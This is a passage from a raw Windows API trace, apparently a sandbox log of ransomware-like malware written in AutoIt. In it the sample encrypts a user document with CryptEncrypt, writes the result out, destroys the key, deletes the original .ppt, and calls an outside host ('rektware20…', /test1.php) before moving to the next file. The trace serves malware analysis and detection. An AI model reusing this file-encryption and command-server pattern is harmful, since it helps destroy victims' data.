pbData=0x0*, pdwDataLen=0x130e618*=0x1316d, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13170) returned 1 [0072.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.891] CharLowerBuffW (in: lpsz="byte[78193]", cchLength=0xb | out: lpsz="byte[78193]") returned 0xb [0072.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.893] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.894] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.896] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1819f88*, pdwDataLen=0x130e618*=0x1316d, dwBufLen=0x13170 | out: pbData=0x1819f88*, pdwDataLen=0x130e618*=0x13170) returned 1 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.896] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.896] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.897] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.904] WriteFile (in: hFile=0x2ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x13170, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x13170, lpOverlapped=0x0) returned 1 [0072.907] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.907] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.907] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.907] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.908] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.908] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.908] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.908] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.908] CryptDestroyKey (hKey=0x164c530) returned 1 [0072.908] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.909] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.909] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.909] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.909] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.909] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.910] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.910] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.918] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.918] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.918] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.918] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.919] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.919] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.919] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.919] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.919] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.919] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.919] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.919] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.919] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.919] CryptReleaseContext (hProv=0x17aa450, dwFlags=0x0) returned 1 [0072.919] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.919] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.919] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.920] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.920] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.920] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.920] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.920] CloseHandle (hObject=0x3bc) returned 1 [0072.922] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.922] CloseHandle (hObject=0x2ac) returned 1 [0072.926] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.928] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.928] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", lpFilePart=0x0) returned 0x3e [0072.928] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\hjbyc1jx7mryr-w.ppt")) returned 0x20 [0072.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0072.929] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\hjbyc1jx7mryr-w.ppt")) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.943] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0072.943] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.943] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.943] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.943] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.943] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.944] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.944] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.944] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.944] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.944] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.944] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.944] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f28, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f28, lpdwBufferLength=0x130ef8c) returned 1 [0072.944] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.944] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.944] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.945] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.945] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.945] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.945] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.945] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.945] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.946] CloseHandle (hObject=0x0) returned 0 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\KRbDuaVRP.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.947] CompareStringW (Locale=0x400, 